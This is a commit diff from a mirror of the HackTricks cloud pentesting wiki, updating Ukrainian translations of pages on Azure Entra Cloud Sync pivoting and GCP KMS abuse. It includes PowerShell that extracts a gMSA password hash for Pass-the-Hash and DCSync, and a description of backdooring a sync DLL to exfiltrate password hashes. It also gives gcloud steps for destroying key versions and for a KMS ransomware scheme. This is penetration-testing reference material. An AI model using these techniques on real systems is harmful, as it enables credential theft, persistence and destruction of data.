mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-services/gcp-kms-enum
This commit is contained in:
Translator
@@ -5,13 +5,13 @@
|
||||
|
||||
## Основна інформація
|
||||
|
||||
**Cloud Sync** — по суті новий спосіб Azure для **синхронізації користувачів з AD в Entra ID**.
|
||||
**Cloud Sync** по суті — новий спосіб Azure для **синхронізації користувачів з AD до Entra ID**.
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync is a new offering from Microsoft designed to meet and accomplish your hybrid identity goals for synchronization of users, groups, and contacts to Microsoft Entra ID. It accomplishes this by using the Microsoft Entra cloud provisioning agent instead of the Microsoft Entra Connect application. However, it can be used alongside Microsoft Entra Connect Sync.
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync — це нова пропозиція від Microsoft, призначена для досягнення ваших гібридних цілей ідентичності щодо синхронізації користувачів, груп і контактів в Microsoft Entra ID. Цього досягають шляхом використання Microsoft Entra cloud provisioning agent замість додатку Microsoft Entra Connect. Однак його можна використовувати поряд з Microsoft Entra Connect Sync.
|
||||
|
||||
### Принципали, що створюються
|
||||
### Створені principals
|
||||
|
||||
Щоб це працювало, деякі принципали створюються як в Entra ID, так і в локальному каталозі:
|
||||
Щоб це працювало, деякі principals створюються як в Entra ID, так і в локальному каталозі:
|
||||
|
||||
- В Entra ID створюється користувач `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) з роллю **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
|
||||
|
||||
@@ -20,13 +20,13 @@
|
||||
|
||||
- В Entra ID також створюється група **`AAD DC Administrators`** без учасників або власників. Ця група корисна, якщо використовується [`Microsoft Entra Domain Services`](./az-domain-services.md).
|
||||
|
||||
- В AD або створюється Service Account **`provAgentgMSA`** з SamAcountName на кшталт **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), або створюється кастомний обліковий запис з [**необхідними правами**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Зазвичай створюється стандартний.
|
||||
- В AD або створюється Service Account **`provAgentgMSA`** з SamAcountName на кшталт **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), або використовують кастомний з [**these permissions is needed**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Зазвичай створюється стандартний.
|
||||
|
||||
> [!WARNING]
|
||||
> Among other permissions the Service Account **`provAgentgMSA`** has DCSync permissions, allowing **anyone that compromises it to compromise the whole directory**. For more information about [DCSync check this](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
|
||||
> Серед інших дозволів Service Account **`provAgentgMSA`** має DCSync permissions, що дозволяє **будь-кому, хто його скомпрометує, скомпрометувати увесь каталог**. Для більш докладної інформації про [DCSync check this](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
|
||||
|
||||
> [!NOTE]
|
||||
> За замовчуванням користувачі відомих привілейованих груп, наприклад Domain Admins, з атрибутом **`adminCount` рівним 1 не синхронізуються** з Entra ID з міркувань безпеки. Проте інші користувачі, які є частиною привілейованих груп без цього атрибуту або яким напряму призначені високі привілеї, **можуть бути синхронізовані**.
|
||||
> За замовчуванням користувачі відомих привілейованих груп, таких як Domain Admins, з атрибутом **`adminCount` to 1 are not synchronized** не синхронізуються з Entra ID з міркувань безпеки. Однак інші користувачі, що є частиною привілейованих груп без цього атрибута або яким напряму призначені високі привілеї, **can be synchronized**.
|
||||
|
||||
## Синхронізація паролів
|
||||
|
||||
@@ -36,23 +36,23 @@ The section is very similar to the one from:
|
||||
az-connect-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **Password hash synchronization** can be enabled so users will be able to **login into Entra ID using their passwords from AD**. Moreover, whenever a password is modified in AD, it'll be updated in Entra ID.
|
||||
- **Password writeback** can also be enabled, allowing users to modify their password in Entra ID automatically synchronizing their password in the on-premise domain. But according to the [current docs](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), for this is needed to use the Connect Agent, so take a look to the [Az Connect Sync section](./az-connect-sync.md) for more information.
|
||||
- **Groups writeback**: This feature allows group memberships from Entra ID to be synchronized back to the on-premises AD. This means that if a user is added to a group in Entra ID, they will also be added to the corresponding group in AD.
|
||||
- **Password hash synchronization** can be enabled so users will be able to **увійти в Entra ID, використовуючи свої паролі з AD**. Крім того, коли пароль змінюється в AD, він буде оновлений в Entra ID.
|
||||
- **Password writeback** також може бути увімкнено, дозволяючи користувачам змінювати свій пароль в Entra ID з автоматичним синхронізуванням пароля в локальному домені. Але згідно з [поточній документації](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), для цього потрібно використовувати Connect Agent, тому перегляньте [розділ Az Connect Sync](./az-connect-sync.md) для додаткової інформації.
|
||||
- **Groups writeback**: ця функція дозволяє членства груп з Entra ID синхронізувати назад у локальний AD. Це означає, що якщо користувача додають до групи в Entra ID, його також додадуть у відповідну групу в AD.
|
||||
|
||||
|
||||
## Pivoting
|
||||
|
||||
### AD --> Entra ID
|
||||
|
||||
- Якщо користувачі AD синхронізуються з AD в Entra ID, pivoting з AD в Entra ID є простим: достатньо **compromise some user's password or change some user's password or create a new user and wait until it's synced into the Entra ID directory (usually only a few mins)**.
|
||||
- Якщо користувачі AD синхронізуються з AD в Entra ID, pivoting з AD до Entra ID простий — просто **compromise some user's password or change some user's password or create a new user and wait until it's synced into the Entra ID directory (usually only a few mins)**.
|
||||
|
||||
Отже, наприклад, ви можете:
|
||||
- Compromise the **`provAgentgMSA`** account, perform a DCSync attack, crack the password of some user and then use it to login into Entra ID.
|
||||
- Just create a new user in the AD, wait until it's synced into Entra ID and then use it to login into Entra ID.
|
||||
- Modify the password of some user in the AD, wait until it's synced into Entra ID and then use it to login into Entra ID.
|
||||
- Скомпрометувати обліковий запис **`provAgentgMSA`**, виконати DCSync attack, зламати пароль якогось користувача і потім використати його для входу в Entra ID.
|
||||
- Просто створити нового користувача в AD, почекати, поки він синхронізується в Entra ID, а потім використати його для входу в Entra ID.
|
||||
- Змінити пароль користувача в AD, почекати синхронізації в Entra ID і потім використати його для входу в Entra ID.
|
||||
|
||||
To compromise the **`provAgentgMSA`** credentials:
|
||||
Щоб скомпрометувати облікові дані **`provAgentgMSA`**:
|
||||
```powershell
|
||||
# Enumerate provAgentgMSA account
|
||||
Get-ADServiceAccount -Filter * -Server domain.local
|
||||
@@ -74,7 +74,7 @@ $Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-Man
|
||||
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
|
||||
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
|
||||
```
|
||||
Тепер ви можете використати хеш gMSA, щоб виконати атаку Pass-the-Hash проти Entra ID, використовуючи обліковий запис `provAgentgMSA`, і забезпечити персистентність з можливістю виконувати атаки DCSync проти AD.
|
||||
Тепер ви можете використати hash gMSA, щоб виконати Pass-the-Hash атаку проти Entra ID, використовуючи обліковий запис `provAgentgMSA`, і підтримувати персистентність, маючи можливість виконувати DCSync атаки проти AD.
|
||||
|
||||
For more information about how to compromise an Active Directory check:
|
||||
|
||||
@@ -83,9 +83,13 @@ https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/i
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що немає способу надати ролі Azure або EntraID синхронізованим користувачам на основі їхніх атрибутів, наприклад у конфігураціях Cloud Sync. Однак для автоматичного надання прав синхронізованим користувачам деяким **Entra ID groups from AD** можуть бути надані дозволи, тож синхронізовані користувачі всередині цих груп також їх отримають або можуть використовуватися **dynamic groups might be used**, тому завжди перевіряйте динамічні правила та потенційні шляхи їхнього зловживання:
|
||||
> Зверніть увагу, що немає жодного способу надати Azure або EntraID ролі синхронізованим користувачам на основі їхніх атрибутів, наприклад у конфігураціях Cloud Sync. Однак, щоб автоматично надати дозволи синхронізованим користувачам, деяким **Entra ID groups from AD** можуть бути надані дозволи, тому синхронізовані користувачі всередині цих груп також їх отримають, або можуть бути використані **dynamic groups**, тож завжди перевіряйте наявні dynamic rules та потенційні способи їх зловживання:
|
||||
|
||||
Щодо персистентності, [this blog post](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) пропонує, що можливо використати [**dnSpy**](https://github.com/dnSpy/dnSpy) для додавання бекдору в dll **`Microsoft.Online.Passwordsynchronisation.dll`**, розташовану в **`C:\Program Files\Microsoft Azure AD Sync\Bin`**, яку використовує Cloud Sync agent для синхронізації паролів, щоб вона ексфільтрувала хеші паролів синхронізованих користувачів на віддалений сервер. Хеші генеруються всередині класу **`PasswordHashGenerator`**, і блог пропонує додати трохи коду, щоб клас виглядав так (зверніть увагу на `use System.Net` та використання `WebClient` для ексфільтрації хешів паролів):
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
Щодо персистентності, [this blog post](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) suggest that it's possible to use [**dnSpy**](https://github.com/dnSpy/dnSpy) to backdoor the dll **`Microsoft.Online.Passwordsynchronisation.dll`** located in **`C:\Program Files\Microsoft Azure AD Sync\Bin`** that is used by the Cloud Sync agent to perform the password synchronization making it exfiltrate the password hashes of the users being synchronized to a remote server. The hashes are generated inside the class **`PasswordHashGenerator`** and the blog post suggest adding some code so the class looks like (note the `use System.Net` and the `WebClient` usage to exfiltrate the password hashes):
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net;
|
||||
@@ -121,17 +125,17 @@ RawHash = passwordHashData.RawHash
|
||||
```
|
||||
### Entra ID --> AD
|
||||
|
||||
- If **Password Writeback** is enabled, you could modify the password of some users from Entra ID and if you have access to the AD network, connect using them. For more info check the [Az Connect Sync section](./az-connect-sync.md) section for more information as the password writeback is configured using that agent.
|
||||
- Якщо **Password Writeback** увімкнено, ви можете змінити пароль деяких користувачів з Entra ID, і якщо у вас є доступ до мережі AD, підключитися, використовуючи їх. Для детальнішої інформації перегляньте розділ [Az Connect Sync section](./az-connect-sync.md), оскільки password writeback конфігурується за допомогою того агента.
|
||||
|
||||
- На даний момент Cloud Sync також дозволяє **"Microsoft Entra ID to AD"**, але після тривалого часу я виявив, що він НЕ МОЖЕ синхронізувати користувачів EntraID в AD і що він може синхронізувати лише користувачів з EntraID, які були синхронізовані з password hash і походять з домену, що належить до того ж доменного лісу, що й домен, з яким ми синхронізуємося, як можна прочитати в [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
- На даний момент Cloud Sync також дозволяє **"Microsoft Entra ID to AD"**, але з часом я виявив, що він НЕ МОЖЕ синхронізувати користувачів EntraID в AD, і що він може синхронізувати лише користувачів з EntraID, які були синхронізовані з хешем пароля і походять із домену, що належить тому ж доменному лісу, що й домен, з яким ми синхронізуємося, як можна прочитати в [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
|
||||
> - Ці групи можуть містити лише локально синхронізованих користувачів і/або додаткових створених у хмарі груп безпеки.
|
||||
> - Локальні облікові записи користувачів, які синхронізовані і є членами цієї створеної в хмарі групи безпеки, можуть належати до того самого домену або бути крос-доменними, але всі вони повинні належати до того самого лісу.
|
||||
> - Ці групи можуть містити лише on-premises синхронізованих користувачів та/або додаткові групи безпеки, створені в хмарі.
|
||||
> - Локальні облікові записи користувачів, які синхронізовані та є членами цієї групи безпеки, створеної в хмарі, можуть бути з того самого домену або з різних доменів, але всі вони повинні належати до того самого лісу доменів.
|
||||
|
||||
Отже, поверхня атаки (і корисність) цієї служби значно зменшується, оскільки атакуючому доведеться скомпрометувати початковий AD, звідки синхронізуються користувачі, щоб скомпрометувати користувача в іншому домені (і, схоже, обидва мають належати до одного й того самого лісу).
|
||||
Отже, attack surface (і корисність) цього сервісу значно зменшуються, оскільки нападнику доведеться скомпрометувати початковий AD, звідки синхронізуються користувачі, щоб скомпрометувати користувача в іншому домені (і, судячи з усього, обидва повинні бути в одному лісі доменів).
|
||||
|
||||
|
||||
### Перерахування
|
||||
### Enumeration
|
||||
```bash
|
||||
# Check for the gMSA SA
|
||||
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
|
||||
|
||||
@@ -12,11 +12,11 @@
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.destroy`
|
||||
|
||||
Зловмисник із цим дозволом може знищити версію KMS. Щоб це зробити, спочатку потрібно відключити ключ, а потім знищити версію:
|
||||
Attacker з цим дозволом може знищити версію KMS. Щоб зробити це, спочатку потрібно відключити ключ, а потім його знищити:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Відключити та знищити версію ключа (Python)</summary>
|
||||
<summary>Вимкнути та знищити версію ключа (Python)</summary>
|
||||
```python
|
||||
# pip install google-cloud-kms
|
||||
|
||||
@@ -65,24 +65,38 @@ destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
|
||||
### KMS Ransomware
|
||||
|
||||
В AWS можливо повністю **steal a KMS key** шляхом зміни політики ресурсу KMS і дозволивши використовувати ключ лише обліковому запису нападника. Оскільки таких політик ресурсів у GCP немає, це неможливо.
|
||||
У AWS можливо повністю **steal a KMS key** шляхом модифікації KMS resource policy та дозволивши використовувати ключ лише обліковому запису атакуючого. Оскільки такі resource policies не існують у GCP, це неможливо.
|
||||
|
||||
Однак існує інший спосіб виконати глобальний KMS Ransomware, який включає такі кроки:
|
||||
Проте існує інший спосіб виконати глобальний KMS Ransomware, який включатиме наступні кроки:
|
||||
|
||||
- Створити нову **версію ключа з ключовим матеріалом**, імпортованим нападником
|
||||
- Створити нову **version of the key with a key material** імпортовану атакуючим
|
||||
```bash
|
||||
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
|
||||
```
|
||||
- Встановити його як **default version** (для майбутніх даних, що будуть зашифровані)
|
||||
- **Re-encrypt older data** — перешифрувати старі дані, зашифровані попередньою версією, за допомогою нової.
|
||||
- **Видалити KMS key**
|
||||
- Тепер лише зловмисник, який має оригінальний матеріал ключа, зможе розшифрувати зашифровані дані
|
||||
- Встановити її як **версію за замовчуванням** (для майбутніх даних, що будуть зашифровані)
|
||||
- **Перещифрувати старі дані**, зашифровані попередньою версією, новою версією.
|
||||
- **Видалити KMS ключ**
|
||||
- Тепер лише attacker, який має оригінальний матеріал ключа, зможе розшифрувати зашифровані дані
|
||||
|
||||
#### Ось кроки для імпорту нової версії та вимкнення/видалення старих даних:
|
||||
#### Cloud Storage + CMEK модель дозволів
|
||||
|
||||
Коли об'єкти в Cloud Storage зашифровані з CMEK, виклики decrypt/encrypt до KMS виконуються проектним **агентом сервісу Cloud Storage whose email is service-${BUCKET_PROJECT_NUMBER}@gs-project-accounts.iam.gserviceaccount.com)**, а не безпосередньо кінцевим користувачем, який читає об'єкт.
|
||||
|
||||
This means that to read something encrypted by a CMEK:
|
||||
|
||||
- The project's cloud storage service agent must have KMS permissions over the used KMS key (typically `roles/cloudkms.cryptoKeyEncrypterDecrypter`).
|
||||
- The user only needs object read permissions (for example `storage.objects.get`). He doesn't need permissions over the KMS key.
|
||||
|
||||
Thsi means that to control acces to encrypted data with the KMS key it's needed to add/rmeove KMS permissions to the projects cloud storage service agent.
|
||||
|
||||
Note that there is a project-level binding like `roles/cloudkms.cryptoKeyEncrypterDecrypter` for the Storage service agent will still allow decrypt with the keys in the same project.
|
||||
|
||||
|
||||
#### Here are the steps to import a new version and disable/delete the older data:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Імпорт нової версії ключа та видалення старої версії</summary>
|
||||
<summary>Імпортувати нову версію ключа та видалити стару версію</summary>
|
||||
```bash
|
||||
# Encrypt something with the original key
|
||||
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
|
||||
@@ -162,7 +176,7 @@ gcloud kms keys versions destroy \
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Шифрування даних симетричним ключем (Python)</summary>
|
||||
<summary>Зашифрувати дані симетричним ключем (Python)</summary>
|
||||
```python
|
||||
from google.cloud import kms
|
||||
import base64
|
||||
@@ -203,7 +217,7 @@ print('Ciphertext:', ciphertext)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підписати повідомлення асиметричним ключем (Python)</summary>
|
||||
<summary>Підписати повідомлення за допомогою асиметричного ключа (Python)</summary>
|
||||
```python
|
||||
import hashlib
|
||||
from google.cloud import kms
|
||||
@@ -243,7 +257,7 @@ print('Signature:', signature)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Перевірити підпис за допомогою асиметричного ключа (Python)</summary>
|
||||
<summary>Перевірити підпис асиметричним ключем (Python)</summary>
|
||||
```python
|
||||
from google.cloud import kms
|
||||
import hashlib
|
||||
@@ -271,7 +285,7 @@ verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key
|
||||
print('Verified:', verified)
|
||||
```
|
||||
### `cloudkms.cryptoKeyVersions.restore`
|
||||
Дозвіл `cloudkms.cryptoKeyVersions.restore` дозволяє ідентичності відновити версію ключа, яка раніше була запланована до знищення або відключена в Cloud KMS, повертаючи її в активний та придатний для використання стан.
|
||||
Дозвіл `cloudkms.cryptoKeyVersions.restore` дозволяє суб'єкту відновити версію ключа, яку раніше було заплановано до знищення або деактивовано в Cloud KMS, повертаючи її в активний і придатний для використання стан.
|
||||
```bash
|
||||
gcloud kms keys versions restore <VERSION_ID> \
|
||||
--key=<KEY_NAME> \
|
||||
@@ -280,7 +294,7 @@ gcloud kms keys versions restore <VERSION_ID> \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
### `cloudkms.cryptoKeyVersions.update`
|
||||
Дозвіл `cloudkms.cryptoKeyVersions.update` дозволяє суб'єкту змінювати атрибути або стан конкретної версії ключа в Cloud KMS, наприклад увімкнути або вимкнути її.
|
||||
Дозвіл `cloudkms.cryptoKeyVersions.update` дозволяє ідентичності змінювати атрибути або стан конкретної версії ключа в Cloud KMS, наприклад вмикаючи або вимикаючи її.
|
||||
```bash
|
||||
# Disable key
|
||||
gcloud kms keys versions disable <VERSION_ID> \
|
||||
|
||||
@@ -4,40 +4,53 @@
|
||||
|
||||
## KMS
|
||||
|
||||
[**Cloud Key Management Service**](https://cloud.google.com/kms/docs/) служить безпечним сховищем для **криптографічних ключів**, які є необхідними для операцій, таких як **шифрування та розшифрування чутливих даних**. Ці ключі організовані в ключові кільця, що дозволяє структуровано управляти ними. Крім того, контроль доступу може бути ретельно налаштований, як на рівні окремого ключа, так і для всього ключового кільця, що забезпечує точне відповідність дозволів вимогам безпеки.
|
||||
The [**Cloud Key Management Service**](https://cloud.google.com/kms/docs/) слугує безпечним сховищем для **криптографічних ключів**, які необхідні для операцій, таких як **шифрування та дешифрування конфіденційних даних**. Ці ключі організовані в key rings, що дозволяє впорядковано ними керувати. Крім того, контроль доступу можна тонко налаштувати як на рівні окремого ключа, так і для всього key ring, забезпечуючи точне відповідність прав вимогам безпеки.
|
||||
|
||||
Ключові кільця KMS за **замовчуванням створюються як глобальні**, що означає, що ключі всередині цього ключового кільця доступні з будь-якого регіону. Однак можливо створити специфічні ключові кільця в **конкретних регіонах**.
|
||||
KMS key rings за **замовчуванням створюються як global**, що означає, що ключі всередині такого key ring доступні з будь-якого регіону. Проте можна створювати key rings у **конкретних регіонах**.
|
||||
|
||||
### Рівень захисту ключів
|
||||
### Key Protection Level
|
||||
|
||||
- **Програмні ключі**: Програмні ключі **створюються та управляються KMS повністю в програмному забезпеченні**. Ці ключі **не захищені жодним апаратним модулем безпеки (HSM)** і можуть використовуватися для **тестування та розробки**. Програмні ключі **не рекомендуються для виробництва** через низький рівень безпеки та вразливість до атак.
|
||||
- **Ключі, що хостяться в хмарі**: Ключі, що хостяться в хмарі, **створюються та управляються KMS** в хмарі, використовуючи високо доступну та надійну інфраструктуру. Ці ключі **захищені HSM**, але HSM **не призначені для конкретного клієнта**. Ключі, що хостяться в хмарі, підходять для більшості виробничих випадків використання.
|
||||
- **Зовнішні ключі**: Зовнішні ключі **створюються та управляються поза KMS** і імпортуються в KMS для використання в криптографічних операціях. Зовнішні ключі **можуть зберігатися в апаратному модулі безпеки (HSM) або в програмній бібліотеці, залежно від уподобань клієнта**.
|
||||
- **Software keys**: Software keys **створюються та керуються KMS повністю в програмному забезпеченні**. Ці ключі **не захищені жодним hardware security module (HSM)** і можуть використовуватись для **тестування та розробки**. Software keys **не рекомендовані для production** через низький рівень захисту та вразливість до атак.
|
||||
- **Cloud-hosted keys**: Cloud-hosted keys **створюються та керуються KMS** у хмарі з використанням високодоступної та надійної інфраструктури. Ці ключі **захищені HSM**, але HSM **не виділені для конкретного клієнта**. Cloud-hosted keys підходять для більшості production-випадків.
|
||||
- **External keys**: External keys **створюються та керуються поза KMS**, і імпортуються в KMS для використання у криптографічних операціях. External keys **можуть зберігатися в hardware security module (HSM) або в програмній бібліотеці, залежно від уподобань клієнта**.
|
||||
|
||||
### Цілі ключів
|
||||
### Key Purposes
|
||||
|
||||
- **Симетричне шифрування/розшифрування**: Використовується для **шифрування та розшифрування даних за допомогою одного ключа для обох операцій**. Симетричні ключі швидкі та ефективні для шифрування та розшифрування великих обсягів даних.
|
||||
- **Підтримується**: [cryptoKeys.encrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys/encrypt), [cryptoKeys.decrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys/decrypt)
|
||||
- **Асиметричне підписування**: Використовується для безпечного спілкування між двома сторонами без обміну ключем. Асиметричні ключі йдуть парами, складаючись з **публічного ключа та приватного ключа**. Публічний ключ ділиться з іншими, тоді як приватний ключ зберігається в таємниці.
|
||||
- **Підтримується:** [cryptoKeyVersions.asymmetricSign](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/asymmetricSign), [cryptoKeyVersions.getPublicKey](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/getPublicKey)
|
||||
- **Асиметричне розшифрування**: Використовується для перевірки автентичності повідомлення або даних. Цифровий підпис створюється за допомогою приватного ключа і може бути перевірений за допомогою відповідного публічного ключа.
|
||||
- **Підтримується:** [cryptoKeyVersions.asymmetricDecrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/asymmetricDecrypt), [cryptoKeyVersions.getPublicKey](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/getPublicKey)
|
||||
- **MAC підписування**: Використовується для забезпечення **цілісності та автентичності даних шляхом створення коду автентифікації повідомлення (MAC) за допомогою секретного ключа**. HMAC зазвичай використовується для автентифікації повідомлень у мережевих протоколах та програмному забезпеченні.
|
||||
- **Підтримується:** [cryptoKeyVersions.macSign](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/macSign), [cryptoKeyVersions.macVerify](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/macVerify)
|
||||
- **Symmetric encryption/decryption**: Використовується для **шифрування та дешифрування даних одним і тим же ключем для обох операцій**. Симетричні ключі швидкі та ефективні для шифрування великих обсягів даних.
|
||||
- **Supported**: [cryptoKeys.encrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys/encrypt), [cryptoKeys.decrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys/decrypt)
|
||||
- **Asymmetric Signing**: Використовується для безпечної комунікації між двома сторонами без обміну приватним ключем. Асиметричні ключі поставляються парою: **публічний ключ і приватний ключ**. Публічний ключ передається іншим, а приватний зберігається в секреті.
|
||||
- **Supported:** [cryptoKeyVersions.asymmetricSign](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/asymmetricSign), [cryptoKeyVersions.getPublicKey](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/getPublicKey)
|
||||
- **Asymmetric Decryption**: Використовується для перевірки автентичності повідомлення або даних. Цифровий підпис створюється приватним ключем і може бути перевірений відповідним публічним ключем.
|
||||
- **Supported:** [cryptoKeyVersions.asymmetricDecrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/asymmetricDecrypt), [cryptoKeyVersions.getPublicKey](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/getPublicKey)
|
||||
- **MAC Signing**: Використовується для забезпечення **цілісності та автентичності даних шляхом створення message authentication code (MAC) за допомогою секретного ключа**. HMAC часто застосовується для автентифікації повідомлень у мережевих протоколах та програмних додатках.
|
||||
- **Supported:** [cryptoKeyVersions.macSign](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/macSign), [cryptoKeyVersions.macVerify](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/macVerify)
|
||||
|
||||
### Період ротації та період програмування на знищення
|
||||
### Rotation Period & Programmed for destruction period
|
||||
|
||||
За **замовчуванням** кожні **90 днів**, але його можна **легко** та **повністю налаштувати**.
|
||||
За **замовчуванням** — кожні **90 днів**, але цей період можна **легко** і **повністю настроїти**.
|
||||
|
||||
Період "Програмування на знищення" - це **час з моменту, коли користувач запитує видалення ключа**, до моменту, коли ключ **видаляється**. Його не можна змінити після створення ключа (за замовчуванням 1 день).
|
||||
Період "Programmed for destruction" — це **час від того моменту, коли користувач запитує видалення ключа**, до того моменту, коли ключ **видаляється**. Його неможливо змінити після створення ключа (за замовчуванням 1 день).
|
||||
|
||||
### Основна версія
|
||||
### Primary Version
|
||||
|
||||
Кожен ключ KMS може мати кілька версій, одна з яких повинна бути **за замовчуванням**, вона буде використовуватися, коли **версія не вказана під час взаємодії з ключем KMS**.
|
||||
Кожен KMS ключ може мати декілька версій; одна з них має бути **версією за замовчуванням** — саме ця версія використовуватиметься, коли версія не вказана під час взаємодії з KMS key.
|
||||
|
||||
### Перерахування
|
||||
### CMEK permission model
|
||||
|
||||
Маючи **дозволи на перегляд ключів**, ось як ви можете отримати до них доступ:
|
||||
Коли об'єкти в Cloud Storage шифруються за допомогою CMEK, виклики decrypt/encrypt до KMS виконуються агентом сервісу Cloud Storage проекту (його email — service-${BUCKET_PROJECT_NUMBER}@gs-project-accounts.iam.gserviceaccount.com), а не безпосередньо кінцевим користувачем, який читає об'єкт.
|
||||
|
||||
Це означає, що для читання даних, зашифрованих CMEK:
|
||||
|
||||
- агента сервісу Cloud Storage проекту має бути надано дозволи KMS на використаний KMS ключ (зазвичай `roles/cloudkms.cryptoKeyEncrypterDecrypter`);
|
||||
- користувачу достатньо мати права на читання об'єкта (наприклад, `storage.objects.get`). Він не потребує прав на сам KMS ключ.
|
||||
|
||||
Це означає, що для контролю доступу до зашифрованих даних через KMS ключ потрібно додавати/видаляти KMS дозволи для агента сервісу Cloud Storage проекту.
|
||||
|
||||
Зверніть увагу, що прив'язка на рівні проекту, наприклад `roles/cloudkms.cryptoKeyEncrypterDecrypter` для агента сервісу Storage, все одно дозволить дешифрування за допомогою ключів у тому ж проекті.
|
||||
|
||||
### Enumeration
|
||||
|
||||
Маючи **permissions to list the keys**, ось як ви можете отримати до них доступ:
|
||||
```bash
|
||||
# List the global keyrings available
|
||||
gcloud kms keyrings list --location global
|
||||
@@ -61,13 +74,13 @@ gcloud kms decrypt --ciphertext-file=[INFILE] \
|
||||
--keyring [KEYRING] \
|
||||
--location global
|
||||
```
|
||||
### Підвищення Привілеїв
|
||||
### Підвищення привілеїв
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-kms-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Після Експлуатації
|
||||
### Постексплуатація
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-kms-post-exploitation.md
|
||||
|
||||
Reference in New Issue
Block a user